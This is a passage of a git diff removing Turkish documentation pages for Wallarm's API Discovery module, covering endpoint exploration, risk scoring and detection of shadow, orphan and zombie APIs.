olarak, uç noktalar host/endpoint adına göre sıralanır (ve hostlara göre gruplanır). **Hits** veya **Risk** ile sıralarsanız gruplama kalkar - varsayılana dönmek için hosts/endpoint sütununa tekrar tıklayın. - -### Harici ve dahili - -Dış ağdan erişilebilen uç noktalar, başlıca saldırı yönleridir. Bu nedenle dışarıdan nelerin erişilebilir olduğunu görmek ve öncelikle bu uç noktalara dikkat etmek önemlidir. - -Wallarm, keşfedilen API’leri otomatik olarak harici ve dahili olarak ayırır. Bir host ve tüm uç noktaları aşağıdaki konumlarda ise dahili kabul edilir: - -* Özel IP veya yerel IP adresi -* Genel seviyede üst alan adı (örneğin: localhost, dashboard, vb.) - -Diğer durumlarda hostlar harici kabul edilir. - -Varsayılan olarak, tüm API hostlarının (harici ve dahili) bulunduğu bir liste görüntülenir. Oluşturulan API envanterinde, dahili ve harici API’lerinizi ayrı ayrı görüntüleyebilirsiniz. Bunu yapmak için **External** veya **Internal** seçeneğine tıklayın. - -### Filtreleme - -Geniş API uç nokta filtreleri arasından, analiz amacınıza uygun olanları seçebilirsiniz, örneğin: - -* Yalnızca saldırıya uğramış uç noktalar; bunları isabet (hit) sayısına göre sıralayabilirsiniz. -* Hassas veri işleyen ve yüksek [risk düzeyi](risk-score.md) olan aktif zafiyetlerle karakterize edilen en zayıf uç noktaları bulun. Yüksek risk düzeyindeki zafiyetlerin istismarı, saldırganların uç noktanın işlediği/sakladığı hassas verileri çalmak da dahil olmak üzere sistem üzerinde birçok kötü niyetli eylem gerçekleştirmesine olanak tanır. -* [Rogue uç noktaları](rogue-api.md) bulun: shadow, orphan ve zombie. -* Son bir haftada değişmiş veya yeni keşfedilmiş ve PII verileri işleyen uç noktaları bulun. Bu tür bir istek, kritik [API değişikliklerinden](track-changes.md) haberdar kalmanıza yardımcı olabilir. -* Sunucunuza veri yüklemek için PUT veya POST çağrılarıyla kullanılan uç noktaları bulun. Bu tür uç noktalar sık saldırı hedefi olduğundan iyi korunmalıdır. Bu tür bir sorgu ile uç noktaların ekip tarafından bilindiğini ve saldırılara karşı iyi korunduğunu kontrol edebilirsiniz. -* Müşterilerin banka kartı verilerini işleyen uç noktaları bulun. Bu istek ile hassas verilerin yalnızca güvenli uç noktalar tarafından işlendiğini kontrol edebilirsiniz. -* Kullanımdan kaldırılmış bir API sürümüne ait uç noktaları (ör. `/v1` aramasıyla) bulun ve istemciler tarafından kullanılmadıklarından emin olun. - -Tüm filtrelenmiş veriler, ek analiz için OpenAPI v3 biçiminde dışa aktarılabilir. - -## Uç nokta ayrıntıları - -Uç noktaya tıklayarak, istek istatistikleri, istek ve yanıtların başlıkları ve parametreleri ile ilgili veri türleri dahil olmak üzere uç nokta ayrıntılarını da bulabilirsiniz: - -![API Discovery tarafından keşfedilen istek parametreleri](../images/about-wallarm-waf/api-discovery/discovered-request-params-4.10.png) - -Her bir istek/yanıt parametresi bilgisi şunları içerir: - -* Parametre adı ve bu parametrenin ait olduğu istek/yanıt bölümü -* Parametre değişiklikleri hakkında bilgi (yeni, kullanılmayan) -* Bu parametre ile iletilen hassas verilerin varlığı ve türü; buna şunlar dahildir: - - * IP ve MAC adresleri gibi teknik veriler - * Gizli anahtarlar ve parolalar gibi oturum açma kimlik bilgileri - * Banka kartı numaraları gibi finansal veriler - * Tıbbi lisans numarası gibi tıbbi veriler - * Tam ad, pasaport numarası veya SSN gibi kişisel olarak tanımlanabilir bilgiler (PII) - -* Bu parametrede iletilen verinin [Tür/biçimi](#format-and-data-type) -* Parametre bilgisinin en son güncellendiği tarih ve saat - -!!! info "Yanıt parametrelerinin kullanılabilirliği" - Yanıt parametreleri yalnızca 4.10.1 veya üzeri node kullanıldığında mevcuttur. - - -### Biçim ve veri türü - -**Type** sütununda, Wallarm trafik analizi yoluyla tanımlanan veri biçimini veya belirgin değilse genel bir veri türünü belirtir. - -Wallarm `Int32`, `Int64`, `Float`, `Double`, `Datetime`, `IPv4`/`IPv6` gibi çeşitli veri biçimlerini tespit etmeye çalışır. Bir değer tanınan hiçbir veri biçimiyle uyumlu değilse, Wallarm onu `Integer`, `Number`, `String` veya `Boolean` gibi genel bir veri türü altında sınıflandırır. - -Bu veriler, her parametrede beklenen biçimde değerlerin iletildiğini kontrol etmeye olanak tanır. Tutarsızlıklar, örneğin bir saldırı veya API’nizin taranmasının sonucu olabilir: - -* `String` değerleri `IP` olan alana iletilir -* Değeri `Int32`’den büyük olmaması gereken bir alana `Double` değerleri iletilir - -### Değişkenlik - -URL’ler, kullanıcı kimliği gibi çeşitli öğeler içerebilir, örneğin: - -* `/api/articles/author/author-a-0001` -* `/api/articles/author/author-a-1401` -* `/api/articles/author/author-b-1401` - -**API Discovery** modülü, böyle öğeleri uç nokta yollarında `{parameter_X}` biçiminde birleştirir; bu nedenle yukarıdaki örnek için 3 ayrı uç nokta yerine tek bir uç nokta olur: - -* `/api/articles/author/{parameter_1}` - -Uç noktaya tıklayarak parametrelerini genişletin ve değişken parametre için hangi türün otomatik olarak tespit edildiğini görüntüleyin. - -![API Discovery - Yolda değişkenlik](../images/about-wallarm-waf/api-discovery/api-discovery-variability-in-path-4.10.png) - -Algoritmanın yeni trafiği analiz ettiğini unutmayın. Bir noktada birleştirilmesi gereken adresler görür de bunun henüz gerçekleşmediğini fark ederseniz, biraz zaman tanıyın. Daha fazla veri geldikçe, sistem yeni bulunan desenle eşleşen yeterli sayıda adres olduğunda uç noktaları birleştirecektir. - -## Uç nokta aktiviteleri - -### Saldırılar - -Son 7 gündeki API uç noktalarına yapılan saldırıların sayısı **Hits** sütununda görüntülenir. Yalnızca saldırıya uğramış uç noktaları göstermek için filtrelerde: **Others** → **Attacked endpoints** seçimini yapabilirsiniz. - -Bir uç noktaya yönelik saldırıları görmek için **Hits** sütunundaki sayıya tıklayın: - -![API uç noktası - olayları aç](../images/about-wallarm-waf/api-discovery/endpoint-open-events.png) - -[filtre uygulanmış şekilde](../user-guides/search-and-filters/use-search.md) **Attacks** bölümü görüntülenecektir: - -``` -attacks last 7 days endpoint_id: -``` - -Ayrıca, bir uç noktanın URL’sini panoya kopyalayıp olayları aramak için kullanabilirsiniz. Bunu yapmak için, ilgili uç nokta menüsünden **Copy URL** seçin. - -### Tüm aktiviteler - -Uç noktayla ilgili tüm isteklerin sayısı **Requests** sütununda görüntülenir. Bu sayıya tıklayarak, son bir haftadaki bu istekleri içeren kullanıcı oturumlarının listesiyle [**API Sessions**](../api-sessions/overview.md) bölümünü açın. - -Bulunan her oturum içinde, başlangıçta yalnızca uç noktanıza yönelik istekler görüntülenecektir - bağlamı görmek için oturumda uç nokta filtrelemesini kaldırın. - -Oturum aktivitesinin yapılandırılmış görünümü, uç noktanızın kötü niyetli ve meşru aktivitelerdeki yerini, hassas iş akışlarıyla ilişkisini ve gerekli koruma önlemlerini anlamaya yardımcı olur. - -## API uç noktaları için kural oluşturma - -API envanterindeki herhangi bir uç noktadan hızlıca yeni bir [özel kural](../user-guides/rules/rules.md) oluşturabilirsiniz: - -1. İlgili uç nokta menüsünden **Create rule** seçin. Kural oluşturma penceresi görüntülenir. Uç nokta adresi otomatik olarak pencereye ayrıştırılır. -1. Kural oluşturma penceresinde kural bilgilerini belirtin ve ardından **Create**’e tıklayın. - -![Uç noktadan kural oluşturma](../images/about-wallarm-waf/api-discovery/endpoint-create-rule.png) - -## API envanteri verilerini dışa aktarma - -API Discovery arayüzü, geçerli filtrelenmiş uç nokta listesini [OpenAPI v3](https://spec.openapis.org/oas/v3.0.0) spesifikasyonu veya CSV dosyası olarak dışa aktarma seçeneği sunar. - -Dışa aktarmak için, Wallarm Console → **API Discovery** içinde **OAS/CSV** seçeneğini kullanın. Şunları göz önünde bulundurun: - -* **OAS** için, Wallarm filtrelenmiş uç noktalarla `swagger.json` döndürür. Ayrıca, tekil bir uç nokta menüsünde **Download OAS** düğmesini kullanabilirsiniz. - - İndirilen spesifikasyonu Postman gibi diğer uygulamalarla kullanarak uç noktaların zafiyet ve diğer testlerini gerçekleştirebilirsiniz. Ayrıca, uç noktaların yeteneklerini daha yakından inceleyerek hassas veri işleme ve belgelenmemiş parametrelerin varlığını ortaya çıkarmaya olanak tanır. - -* **CSV** için, Wallarm filtrelenmiş uç nokta verilerini, diğer programlara kolayca aktarmayı sağlayan basit metin virgülle ayrılmış biçimde döndürür. - -!!! warning "İndirilen Swagger dosyasında API host bilgisi" - Keşfedilen bir API envanteri birden fazla API hostu içeriyorsa, tüm API hostlarından uç noktalar indirilen dosyaya dahil edilir. Şu anda, API host bilgisi dosyaya dahil edilmemektedir. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/overview.md b/docs/latest-tr/api-discovery/overview.md deleted file mode 100644 index d85ea8e605..0000000000 --- a/docs/latest-tr/api-discovery/overview.md +++ /dev/null @@ -1,133 +0,0 @@ -# API Discovery Genel Bakış - -Wallarm platformunun **API Discovery** modülü, gerçek API kullanımına dayanarak uygulamanızın REST API envanterini oluşturur. Modül, gerçek trafik isteklerini sürekli olarak analiz eder ve analiz sonuçlarına göre API envanterini oluşturur. - -Oluşturulan API envanteri aşağıdaki öğeleri içerir: - -* API uç noktaları -* İstek yöntemleri (GET, POST ve diğerleri) -* İstek ve yanıtlardaki gerekli ve isteğe bağlı GET, POST ve başlık parametreleri; şunları içerecek şekilde: - * Her parametrede gönderilen verinin [Tür/biçimi](./exploring.md#format-and-data-type) - * Parametre bilgisinin en son güncellendiği tarih ve saat - -!!! info "Yanıt parametrelerinin kullanılabilirliği" - Yanıt parametreleri yalnızca 4.10.1 veya daha yüksek sürümlü düğüm kullanıldığında mevcuttur. - -
              - -
              - -
              -
              - -## API Discovery’nin ele aldığı sorunlar - -**Gerçek ve eksiksiz bir API envanteri oluşturmak**, API Discovery modülünün ele aldığı başlıca sorundur. - -API envanterini güncel tutmak zor bir görevdir. Farklı API’leri kullanan birden fazla ekip vardır ve API dokümantasyonunun üretilmesi için farklı araçların ve süreçlerin kullanılması yaygındır. Sonuç olarak, şirketler hangi API’lere sahip olduklarını, hangi verileri açığa çıkardıklarını anlamakta ve API dokümantasyonunu güncel tutmakta zorlanırlar. - -API Discovery modülü veri kaynağı olarak gerçek trafiği kullandığından, isteklere gerçekten yanıt veren tüm uç noktaları API envanterine dahil ederek güncel ve eksiksiz API dokümantasyonuna ulaşmanıza yardımcı olur. - -**Wallarm, API envanterinizi keşfettikten sonra şunları yapabilirsiniz**: - -* [Harici ve dahili](exploring.md#external-vs-internal) API’lerin listesi de dahil olmak üzere tüm API varlıklarınıza tam görünürlük elde edin. -* API’lere giren ve çıkan [verileri](exploring.md#endpoint-details) görün. -* Açık (düzeltimek bekleyen) güvenlik açıklarına sahip uç noktaların listesini alın. -* İstenilen herhangi bir API uç noktası için son 7 gün içinde gerçekleşen tehditlerin bir listesini alın. -* Yalnızca saldırıya uğramış API’leri filtreleyin, hit sayısına göre sıralayın. -* [Hassas verileri](#sensitive-data-detection) tüketen ve taşıyan API’leri filtreleyin. -* API envanterinizin yapısı ve sorunlarına ilişkin görselleştirilmiş özeti kullanışlı bir [gösterge panelinde](dashboard.md) görüntüleyin. -* Hangi uç noktaların bir saldırı hedefi olma [olasılığının en yüksek](risk-score.md) olduğunu anlayın. -* [Gölge, yetim ve zombi API’leri](rogue-api.md) bulun. -* Seçilen zaman aralığında API’de meydana gelen [değişiklikleri izleyin](track-changes.md). -* API uç noktalarını [BOLA otomatik koruma durumu](bola-protection.md) ile filtreleyin. -* Geliştiricilerinize oluşturulan API envanterini inceleme ve indirme için [erişim](../user-guides/settings/users.md#user-roles) sağlayın. - -## API Discovery nasıl çalışır? - -API Discovery, istek istatistiklerine dayanır ve gerçek API kullanımına göre güncel API spesifikasyonları üretmek için gelişmiş algoritmalar kullanır. - -### Trafik işleme - -API Discovery, analizleri yerelde ve Bulut’ta gerçekleştirmek için hibrit bir yaklaşım kullanır. Bu yaklaşım, istek verileri ve hassas veriler yerelde tutulurken istatistik analizleri için Bulut’un gücünden yararlanılan [gizlilik-öncelikli bir süreci](#security-of-data-uploaded-to-the-wallarm-cloud) mümkün kılar: - -1. API Discovery, meşru trafiği yerelde analiz eder. Wallarm, isteklerin gönderildiği uç noktaları ve hangi parametrelerin iletilip geri döndürüldüğünü inceler. -1. Bu verilere göre istatistikler oluşturulur ve Bulut’a gönderilir. -1. Wallarm Cloud, alınan istatistikleri birleştirir ve bunlara dayanarak bir [API açıklaması](exploring.md) oluşturur. - - !!! info "Gürültü tespiti" - Seyrek veya tekil istekler [gürültü olarak kabul edilir](#noise-detection) ve API envanterine dahil edilmez. - -### Gürültü tespiti - -API Discovery modülü, gürültüyü iki ana trafik parametresine göre tespit eder: - -* Uç nokta stabilitesi - uç noktaya gelen ilk istekten itibaren 5 dakika içinde en az 5 istek kaydedilmelidir. -* Parametre stabilitesi - uç noktaya gelen isteklerde parametrenin görülme oranı %1’den fazla olmalıdır. - -API envanteri, bu eşikleri aşan uç noktaları ve parametreleri gösterecektir. Tam API envanterinin oluşturulması için gereken süre, trafik çeşitliliği ve yoğunluğuna bağlıdır. - -Ayrıca, API Discovery diğer kriterlere dayanarak istekleri filtreler: - -* Yalnızca sunucunun 2xx aralığında yanıt verdiği istekler işlenir. -* REST API tasarım ilkelerine uymayan istekler işlenmez. - - Bu, yanıtların `Content-Type` başlığı kontrol edilerek yapılır: eğer `application/json` içermiyorsa (ör. `Content-Type: application/json;charset=utf-8`), istek REST API değil kabul edilir ve analiz edilmez. - - Başlık yoksa, API Discovery isteği analiz eder. - -* `Accept` ve benzerleri gibi standart alanlar ayıklanır. -* `localhost` veya loopback adreslerini hedefleyen istekler işlenmez. - -### Hassas veri tespiti - -API Discovery, API’lerinizin tükettiği ve taşıdığı hassas verileri [tespit eder ve vurgular](sensitive-data.md): - -* IP ve MAC adresleri gibi teknik veriler -* Gizli anahtarlar ve parolalar gibi oturum açma bilgileri -* Banka kartı numaraları gibi finansal veriler -* Tıbbi lisans numarası gibi tıbbi veriler -* Ad soyad, pasaport numarası veya SSN gibi kişisel olarak tanımlanabilir bilgiler (PII) - -API Discovery, tespit sürecini yapılandırma ve kendi hassas veri kalıplarınızı ekleme olanağı sağlar (NGINX Node 5.0.3 veya Native Node 0.7.0 ya da üstü gereklidir). - -### Hassas iş akışları - -[sensitive business flow](sbf.md) özelliği ile API Discovery, kimlik doğrulama, hesap yönetimi, faturalandırma ve benzeri kritik işlevler gibi belirli iş akışları ve işlevleri için kritik olan uç noktaları otomatik olarak belirleyebilir. - -Otomatik belirlemenin yanı sıra, atanan hassas iş akışı etiketlerini manuel olarak ayarlayabilir ve seçtiğiniz uç noktalar için etiketleri manuel olarak belirleyebilirsiniz. - -Uç noktalara hassas iş akışı etiketleri atandığında, keşfedilen tüm uç noktaları belirli bir iş akışına göre filtrelemek mümkün olur; bu da en kritik iş yeteneklerini korumayı kolaylaştırır. - -![API Discovery - Hassas iş akışlarına göre filtreleme](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) - -### Wallarm Cloud’a yüklenen verilerin güvenliği - -API Discovery trafiğin büyük kısmını yerelde analiz eder. Modül, Wallarm Cloud’a yalnızca keşfedilen uç noktaları, parametre adlarını ve çeşitli istatistiksel verileri (geliş zamanı, sayıları vb.) gönderir. Tüm veriler güvenli bir kanaldan iletilir: istatistikler Wallarm Cloud’a yüklenmeden önce, API Discovery modülü istek parametrelerinin değerlerini [SHA-256](https://en.wikipedia.org/wiki/SHA-2) algoritmasıyla özetler. - -Bulut tarafında, özetlenmiş veriler istatistiksel analiz için kullanılır (örneğin, aynı parametrelere sahip isteklerin nicelenmesinde). - -Diğer veriler (uç nokta değerleri, istek yöntemleri ve parametre adları), API envanterinin oluşturulmasını imkansız hale getireceği için Wallarm Cloud’a yüklenmeden önce özetlenmez; zira özetler orijinal haline geri döndürülemez. - -!!! warning "Önemli" - Wallarm, parametrelerde belirtilen değerleri Cloud’a göndermez. Yalnızca uç nokta, parametre adları ve bunlara ilişkin istatistikler gönderilir. - -## API Discovery demo videosu - -API Discovery demo videosunu izleyin: - -
              - -
              - -## Playground’da API Discovery’yi denemek - -Modülü kaydolmadan ve düğümü ortamınıza dağıtmadan önce bile denemek için, [Wallarm Playground’da API Discovery’yi](https://tour.playground.wallarm.com/api-discovery/?utm_source=wallarm_docs_apid) keşfedin. - -Playground’da, sanki gerçek verilerle doldurulmuş gibi API Discovery görünümüne erişebilir; böylece modülün nasıl çalıştığını öğrenip deneyebilir ve salt okunur modda kullanımına dair bazı faydalı örnekler edinebilirsiniz. - -![API Discovery – Örnek Veriler](../images/about-wallarm-waf/api-discovery/api-discovery-sample-data.png) - -## API Discovery’yi etkinleştirme ve yapılandırma - -API Discovery’yi kullanmaya başlamak için, [API Discovery Kurulumu](setup.md)’nda açıklandığı şekilde etkinleştirip yapılandırın. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/risk-score.md b/docs/latest-tr/api-discovery/risk-score.md deleted file mode 100644 index 38a6e1da57..0000000000 --- a/docs/latest-tr/api-discovery/risk-score.md +++ /dev/null @@ -1,55 +0,0 @@ -# Uç Nokta Risk Puanı - -[API Discovery](overview.md), API envanterinizdeki her uç nokta için otomatik olarak bir **risk puanı** hesaplar. Risk puanı, hangi uç noktaların saldırı hedefi olma olasılığının daha yüksek olduğunu anlamanıza ve güvenlik çalışmalarınızı bu uç noktalara odaklamanıza yardımcı olur. - -## Risk puanı faktörleri - -Risk puanı, her biri nihai risk puanı hesaplanırken kendi ağırlığına sahip çeşitli faktörlerden oluşur. Varsayılan olarak, tüm faktörler arasından en yüksek ağırlık uç nokta risk puanı olarak kullanılır. - -| Faktör | Açıklama | Varsayılan ağırlık | -| --- | --- | --- | -| Aktif güvenlik açıkları | [Aktif güvenlik açıkları](../about-wallarm/detecting-vulnerabilities.md), yetkisiz veri erişimi veya bozulmasına neden olabilir. | 9 | -| Potansiyel olarak BOLA'ya karşı savunmasız | [Değişken yol parçalarının](exploring.md#variability) varlığı, ör. kullanıcı kimlikleri, `/api/articles/author/{parameter_X}` gibi. Saldırganlar, nesne kimliklerini manipüle ederek ve yetersiz istek kimlik doğrulaması durumunda, nesnenin hassas verilerini okuyabilir veya değiştirebilirler ([BOLA saldırıları](../admin-en/configuration-guides/protecting-against-bola.md)). | 6 | -| Hassas veriler içeren parametreler | Saldırganlar, API'lere doğrudan saldırmak yerine [hassas verileri](overview.md#sensitive-data-detection) çalabilir ve bunları kullanarak kaynaklarınıza kolayca ulaşabilir. | 8 | -| Sorgu ve gövde parametrelerinin sayısı | Çok sayıda parametre, saldırı yönlerinin sayısını artırır. | 6 | -| XML / JSON nesnelerini kabul eder | İsteklerde iletilen XML veya JSON nesneleri, saldırganlar tarafından kötü amaçlı XML harici varlıklarını ve enjeksiyonları sunucuya aktarmak için kullanılabilir. | 6 | -| Sunucuya dosya yüklemeye izin verir | Uç noktalar sıklıkla [Remote Code Execution (RCE)](../attacks-vulns-list.md#remote-code-execution-rce) saldırılarının hedefidir; bu saldırılarda kötü amaçlı kod içeren dosyalar sunucuya yüklenir. Bu uç noktaları güvence altına almak için, yüklenen dosyaların uzantıları ve içerikleri [OWASP Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) tarafından önerildiği şekilde doğru şekilde doğrulanmalıdır. | 6 | - -Faktörlerin önemine ilişkin anlayışınıza göre risk puanı tahminini uyarlamak için, risk puanı hesaplamasında her bir faktörün ağırlığını ve hesaplama yöntemini [yapılandırabilirsiniz](#customizing-risk-score-calculation). - -## Risk puanı düzeyleri - -Risk puanı `1` (en düşük) ile `10` (en yüksek) arasında olabilir: - -| Değer | Risk düzeyi | Renk | -| --------- | ----------- | --------- | -| 1 ila 3 | Düşük | Gri | -| 4 ila 7 | Orta | Turuncu | -| 8 ila 10 | Yüksek | Kırmızı | - -* `1`, bu uç nokta için risk faktörü olmadığı anlamına gelir. -* Kullanılmayan uç noktalar için risk puanı görüntülenmez (`N/A`). -* Risk puanına göre **Risk** sütununda sıralayın. -* `High`, `Medium` veya `Low` için **Risk score** filtresini kullanın. - -Bir uç noktanın risk puanına neyin neden olduğunu ve riski nasıl azaltabileceğinizi anlamak için uç nokta ayrıntılarına gidin: - -![API Discovery - Risk puanı](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -Ayrıca API'lerin risk puanı düzeylerine göre özetini [US](https://us1.my.wallarm.com/dashboard-api-discovery) veya [EU](https://my.wallarm.com/dashboard-api-discovery) Cloud içinde **Dashboards** → **API Discovery** bölümünde alabilirsiniz. - -## Risk puanı hesaplamasını özelleştirme - -Risk puanı hesaplamasında her bir faktörün ağırlığını ve hesaplama yöntemini yapılandırabilirsiniz. - -Risk puanının nasıl hesaplandığını değiştirmek için: - -1. **API Discovery** bölümünde **Configure API Discovery** düğmesine tıklayın. -1. **Risk scoring** sekmesine geçin. -1. Hesaplama yöntemini seçin: highest veya average weight. -1. Gerekirse, risk puanını etkilemesini istemediğiniz faktörleri devre dışı bırakın. -1. Kalanlar için ağırlıkları ayarlayın. - - ![API Discovery - Risk puanı ayarı](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score-setup.png) - -1. Değişiklikleri kaydedin. Wallarm, birkaç dakika içinde yeni ayarlara uygun olarak uç noktalarınız için risk puanını yeniden hesaplayacaktır. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/rogue-api.md b/docs/latest-tr/api-discovery/rogue-api.md deleted file mode 100644 index d2ba425a03..0000000000 --- a/docs/latest-tr/api-discovery/rogue-api.md +++ /dev/null @@ -1,175 +0,0 @@ -# Gölge, Yetim, Zombi API - -[API Discovery](overview.md) modülü, yüklediğiniz spesifikasyonu canlı trafikle karşılaştırarak shadow, orphan ve zombie API'leri otomatik olarak belirler. - -|Rogue API türü | Nedir? | -|--|--| -| [Shadow API](#shadow-api) | Bir kuruluşun altyapısında uygun yetkilendirme veya denetim olmaksızın var olan, belgelenmemiş bir API.| -| [Orphan API](#orphan-api) | Trafik almayan, belgelenmiş bir API. | -| [Zombie API](#zombie-api) | Herkesin devre dışı bırakıldığını varsaydığı ancak aslında hâlâ kullanılan kullanımdan kalkmış API'ler. | - -![API Discovery - Rogue API'yi vurgulama ve filtreleme](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## Setup - -Rogue API'leri bulmaya başlamak için bir spesifikasyon yüklemeniz, rogue API tespiti için kullanılacak şekilde seçmeniz ve tespit parametrelerini ayarlamanız gerekir. - -Hem spesifikasyon hem de API zaman içinde değiştiğinden, aşağıdakileri dikkate alın: - -* Karşılaştırma ilk kurulumdan sonra başlar -* [API'de değişiklikler](track-changes.md) bulunursa karşılaştırma yeniden başlar -* Onun için yeni ayarları kaydederseniz karşılaştırma yeniden başlar -* Yeni dosya seçerseniz (ada veya tam URI'ye göre) karşılaştırma yeniden başlar -* URI'den yüklenen dosya değişmişse ve **Regularly update the specification** (her saat) seçeneği işaretliyse karşılaştırma yeniden başlar - - URI kullanılamayabilir veya güncellenen spesifikasyon dosyası API spesifikasyon sözdizimine uygun olmayabilir; otomatik güncelleme sırasında bir hata oluşabilir. Bu tür hatalar hakkında bildirim almak için, yapılandırdığınız [**Integrations**](../user-guides/settings/integrations/integrations-intro.md) içinde **System related** olaylarını seçin—spesifikasyon yükleme hatalarına ilişkin bildirimler bu kategoriye dahildir. - -* Spesifikasyon menüsü → **Restart comparison** üzerinden karşılaştırmayı istediğiniz an yeniden başlatabilirsiniz. - -Ayrıca daha önce yüklenmiş spesifikasyonu **API Specifications** → spesifikasyon ayrıntıları penceresi → **Download specification** üzerinden indirebilirsiniz. - -### Adım 1: Spesifikasyon yükleme - -1. [US Cloud](https://us1.my.wallarm.com/api-specifications/) veya [EU Cloud](https://my.wallarm.com/api-specifications/) içindeki **API Specifications** bölümünde **Upload specification**'ı tıklayın. -1. Spesifikasyon yükleme parametrelerini ayarlayın ve yüklemeyi başlatın. - - ![Spesifikasyon yükleme](../images/api-specification-enforcement/specificaton-upload.png) - -Spesifikasyon dosyası, API spesifikasyon sözdizimine uygunluk açısından kontrol edilir ve geçerli değilse yüklenmez. Spesifikasyon dosyası başarıyla yüklenene kadar rogue API tespitini yapılandırmaya başlayamayacağınızı unutmayın. - -Spesifikasyonu bir URI'den yüklemeyi ve **Regularly update the specification** (her saat) seçeneğini seçerseniz, düzenli güncelleme sırasında hatalar oluşabilir: URI kullanılamayabilir veya güncellenen spesifikasyon dosyası API spesifikasyon sözdizimine uygun olmayabilir. Bu tür hatalar hakkında bildirim almak için, yapılandırdığınız [**Integrations**](../user-guides/settings/integrations/integrations-intro.md) içinde **System related** olaylarını seçin—spesifikasyon yükleme hatalarına ilişkin bildirimler bu kategoriye dahildir. - -### Adım 2: Rogue API tespit parametrelerini ayarlayın - -1. **Rogue APIs detection** sekmesini tıklayın. - - !!! info "API spesifikasyon zorlaması" - Rogue API tespitinin yanı sıra, spesifikasyonlar [API specification enforcement](../api-specification-enforcement/overview.md) için de kullanılabilir. - -1. **Use for rogue APIs detection** seçeneğini işaretleyin. -1. **Applications** ve **Hosts** seçin - yalnızca seçilen host'larla ilişkili uç noktalar rogue API'ler için aranacaktır. - - ![API Discovery - Rogue API'leri bulmak için API spesifikasyonunu yükleme](../images/about-wallarm-waf/api-discovery/api-discovery-specification-upload.png) - -### Devre dışı bırakma - -Rogue API tespiti, yüklenen spesifikasyona veya **Use for rogue APIs detection** seçeneği işaretli birden çok spesifikasyona dayanır. Bu seçeneğin işaretini bazı spesifikasyonlar için kaldırmanın veya bu spesifikasyonu silmenin şu sonuçlara yol açacağını dikkate alın: - -* Bu spesifikasyona dayalı rogue API tespitinin durması ve -* Daha önce bu spesifikasyona dayanarak bulunan rogue API'lere ait **tüm verilerin kaldırılması** - -## Bulunan Rogue API'leri görüntüleme - -Karşılaştırma tamamlandığında, **API Specifications** listesindeki her spesifikasyon için rogue (shadow, orphan ve zombie) API sayısı görüntülenecektir. - -![API Specifications bölümü](../images/about-wallarm-waf/api-discovery/api-discovery-specifications.png) - -Ayrıca rogue API'ler **API Discovery** bölümünde de görüntülenir. Seçilen karşılaştırmalarla ilişkili yalnızca shadow, orphan ve/veya zombie API'leri görmek ve kalan uç noktaları filtrelemek için **Rogue APIs** filtresini kullanın. - -![API Discovery - Rogue API'yi vurgulama ve filtreleme](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -Bu tür uç noktaların ayrıntılarında, **Specification conflicts** bölümünde, shadow/zombie/orphan tespitinde kullanılan spesifikasyon(lar) belirtilir. - -Shadow API'ler ayrıca [API Discovery Dashboard](dashboard.md) üzerinde en riskli uç noktalar arasında görüntülenir. - -## Spesifikasyon sürümleri ve zombie API'ler - -Shadow ve orphan API'lerin aksine, [zombie API'ler](#zombie-api) farklı spesifikasyon sürümlerinin karşılaştırılmasını gerektirir: - -* [setup](#setup) sırasında **Regularly update the specification** seçeneği işaretlendiyse, spesifikasyonunuzu barındırdığınız URL'ye yeni sürümü koymanız yeterlidir - saatlik plana göre veya spesifikasyon menüsünden **Restart comparison** seçerseniz hemen işlenecektir. -* **Regularly update the specification** seçeneği işaretlenmediyse: - - * URL'den yükleme yapıyor ve orada yeni içerik varsa, sadece **Restart comparison**'ı tıklayın - * Yerel makineden yükleme yapıyorsanız, spesifikasyon penceresini açın, yeni dosyayı seçin ve değişiklikleri kaydedin. Dosyanın adı farklı olmalıdır. - -Yukarıdakilerin tümü yeni içeriği spesifikasyonun bir sonraki sürümü olarak kabul edecektir. Sürümler karşılaştırılacak ve zombie API görüntülenecektir. - -## Birden çok spesifikasyonla çalışma - -API'nizin farklı yönlerini tanımlamak için birden fazla ayrı spesifikasyon kullanmanız durumunda, bunların birkaçını veya tümünü Wallarm'a yükleyebilirsiniz. - -**API Discovery** bölümünde, spesifikasyon karşılaştırmalarını seçmek için **Compare to...** filtresini kullanın - yalnızca bu karşılaştırmalar için **Issues** sütununda özel işaretlerle rogue API'ler vurgulanacaktır. - -![API Discovery - Rogue API'yi vurgulama ve filtreleme](../images/about-wallarm-waf/api-discovery/api-discovery-highlight-rogue.png) - -## Bildirim alma - -Yeni keşfedilen rogue API'ler hakkında [SIEM, SOAR, günlük yönetim sistemi veya mesajlaşma aracınıza](../user-guides/settings/integrations/integrations-intro.md) anında bildirim almak için, Wallarm Console'un **Triggers** bölümünde **Rogue API detected** koşuluna sahip bir veya daha fazla tetikleyici (trigger) yapılandırın. - -Yeni keşfedilen shadow, orphan veya zombie API'ler hakkında ayrı ayrı ya da hepsi hakkında mesajlar alabilirsiniz. Ayrıca izlemek istediğiniz uygulama veya host'a ve tespitlerinde kullanılan spesifikasyona göre bildirimleri daraltabilirsiniz. - -**Bildirimlerin iletilme şekli** - -* Bulunan her yeni rogue API 1 bildirim mesajı üretir -* Daha önce bir rogue API hakkında bildirim aldıysanız, karşılaştırma kaç kez çalıştırılırsa çalıştırılsın yeniden gönderilmez -* Yüklenen spesifikasyonun ayarlarını güncellerseniz, tüm **orphan** API'lere ilişkin bildirimler yeniden gönderilir (bu, shadow veya zombie API'ler için geçerli değildir) - -**Tetikleyici örneği: Slack'te yeni keşfedilen shadow uç noktalar hakkında bildirim** - -Bu örnekte, API Discovery `Specification-01` içinde listelenmeyen yeni uç noktalar bulursa (shadow API'ler), bununla ilgili bildirim yapılandırdığınız Slack kanalınıza gönderilir. - -![Rogue API detected tetikleyicisi](../images/user-guides/triggers/trigger-example-rogue-api.png) - -**Tetikleyiciyi test etmek için:** - -1. Wallarm Console → [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) cloud'daki **Integrations** bölümüne gidin ve [Slack ile entegrasyonu](../user-guides/settings/integrations/slack.md) yapılandırın. -1. **API Discovery** bölümünde uç noktaları 